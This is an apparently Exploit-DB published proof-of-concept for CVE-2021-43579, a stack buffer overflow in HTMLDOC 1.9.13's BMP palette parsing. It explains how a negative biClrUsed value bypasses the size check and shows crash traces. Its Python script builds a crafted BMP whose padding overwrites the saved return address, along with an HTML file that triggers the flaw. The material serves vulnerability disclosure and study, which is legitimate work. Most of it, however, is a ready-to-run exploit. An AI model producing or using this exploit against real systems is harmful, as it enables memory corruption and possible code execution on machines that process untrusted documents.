HTMLDOC 1.9.13 – Stack Buffer Overflow
#!/usr/bin/env python3 # Exploit Title: HTMLDOC 1.9.13 - Stack Buffer Overflow # Google Dork: N/A # Date: 2025-08-26 # Exploit Author: wulfgarpro # Vendor Homepage: https://github.com/michaelrsweet/htmldoc # Software Link: https://github.com/michaelrsweet/htmldoc/releases/tag/v1.9.13 # Version: <= 1.9.13 # Tested on: Linux x86_64 # CVE: CVE-2021-43579 # ============================================================================== # # ------------------------------------------------------------------------------ # Summary # ------------------------------------------------------------------------------ # HTMLDOC's BMP reader (`image_load_bmp`) uses a fixed-size stack buffer for # the colour palette: 256 * 4 = 1024 bytes. # # The `image_load_bmp` function advances past the 14-byte BITMAPFILEHEADER and # parses the BITMAPINFOHEADER. The attacker-controlled `biClrUsed` field is read # into an `int` and then directly drives the number of colour palette bytes # copied into the 1024-byte stack buffer: # # ```c # int colors_used; # uchar colormap[256][4]; // 1024 bytes # colors_used = (int)read_dword(fp); // biClrUsed # fread(colormap, (size_t)colors_used, 4, fp); # ``` # # A fix in v1.9.13 only rejected `colors_used > 256`. Negative values are not # rejected. A negative `colors_used` (e.g. `biClrUsed = 0xffffffff == -1`) is # cast to `size_t` (wraps to `SIZE_MAX`), so `fread` is asked to copy a huge # amount into the 1024-byte buffer. # # `fread(ptr, size, nmemb, ...)` copies `size * nmemb` bytes. Here the call # requests `colors_used * 4` bytes. With `biClrUsed = 0xffffffff` (-1), # `(size_t)colors_used` becomes `SIZE_MAX`, so the call requests an enormous # read (`size=SIZE_MAX, nmemb=4`). In practice `fread` writes however many bytes # are available; with our 1088-byte payload it overflows the 1024-byte buffer by # 64 bytes: # # Payload layout: # # * 1080 'A' bytes: fill the 1024-byte stack buffer and a further 56 bytes. # * 8 'B' bytes: land on the saved return address on x86_64, producing # `RIP = 0x4242424242424242`. # # Example crash without _FORTIFY_SOURCE / stack protector: # # ```sh # ► 0 0x55555559dbb7 image_load_bmp(image_t*, _IO_FILE*, int, int)+2615 # 1 0x4242424242424242 None # 2 0x1 None # 3 0x55a5d5e0 None # 4 0x555555a9ffa0 None # 5 0x555500000000 None # 6 0x5555555a989c None # 7 0x555555a5d5e0 _htmlGlyphs # ``` # # With `_FORTIFY_SOURCE=2`, overflow is detected: # # ```sh # *** buffer overflow detected ***: terminated # # Program received signal SIGABRT, Aborted. # # ► 0 0x7ffff749894c None # 1 0x7ffff743e410 raise+32 # 2 0x7ffff742557a abort+38 # 3 0x7ffff7426613 None # 4 0x7ffff7526319 None # 5 0x7ffff7525c84 None # 6 0x7ffff7526565 __fread_chk+389 # 7 0x5555555930d9 image_load_bmp(image_t*, _IO_FILE*, int, int)+346 # ``` # # ------------------------------------------------------------------------------ # Usage # ------------------------------------------------------------------------------ # 0. Generate the HTML and evil BMP: `python3 CVE-2021-43579.py` # 1. Trigger via HTMLDOC: `htmldoc --webpage -f out.pdf poc.html` # ------------------------------------------------------------------------------ # 14-byte BITMAPFILEHEADER BITMAPFILEHEADER = ( b"\x42\x4d" # bfType b"\x00\x00\x00\x00" # bfSize b"\x00\x00" # bfReserved1 b"\x00\x00" # bfReserved2 b"\x00\x00\x00\x00" # bfOffBits ) # 40-byte BITMAPINFOHEADER BITMAPINFOHEADER = ( b"\x00\x00\x00\x00" # biSize b"\x01\x00\x00\x00" # biWidth = 0x00000001 (1) b"\x01\x00\x00\x00" # biHeight = 0x00000001 (1) b"\x00\x00" # biPlanes b"\x00\x00" # biBitCount b"\x00\x00\x00\x00" # biCompression b"\x00\x00\x00\x00" # biSizeImage b"\x00\x00\x00\x00" # biXPelsPerMeter b"\x00\x00\x00\x00" # biYPelsPerMeter b"\xff\xff\xff\xff" # biClrUsed = 0xffffffff (-1) b"\x00\x00\x00\x00" # biClrImportant ) PAYLOAD = b"A" * 1080 # cyclic: uaakvaak PAYLOAD += b"B" * 8 # RIP overwrite def generate_poc_bmp(): with open("poc.bmp", "+wb") as poc_bmp: poc_bmp.write((BITMAPFILEHEADER + BITMAPINFOHEADER) + PAYLOAD) def generate_poc_html(): with open("poc.html", "+w") as poc_html: poc_html.write("<html><img src='https://www.exploit-db.com/exploits/52425/poc.bmp'/></html>") if __name__ == "__main__": generate_poc_bmp() generate_poc_html() |